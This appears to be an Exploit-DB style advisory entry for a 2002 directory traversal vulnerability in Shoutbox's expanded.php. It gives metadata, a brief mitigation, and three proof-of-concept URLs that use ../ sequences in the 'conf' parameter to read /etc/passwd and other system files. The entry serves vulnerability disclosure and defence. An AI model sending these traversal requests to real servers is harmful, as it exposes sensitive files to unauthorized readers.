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vendor:
Shoutbox
by:
SecurityFocus
7.5
CVSS
HIGH
Traversal Attack
22
CWE
Product Name: Shoutbox
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
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Platforms Tested: N/A
2002

Shoutbox Traversal Attack Vulnerability

A problem in Shoutbox may result in traversal attacks. The vulnerability exists due to insufficient sanitization of user-supplied values to the expanded.php script, and could allow the viewing of potentially sensitive files by attackers.

Mitigation:

Input validation should be used to prevent attackers from supplying malicious input to the application.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/7775/info

A problem in Shoutbox may result in traversal attacks. The vulnerability exists due to insufficient sanitization of user-supplied values to the expanded.php script, and could allow the viewing of potentially sensitive files by attackers. 

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../targetfile

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/passwd

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/issue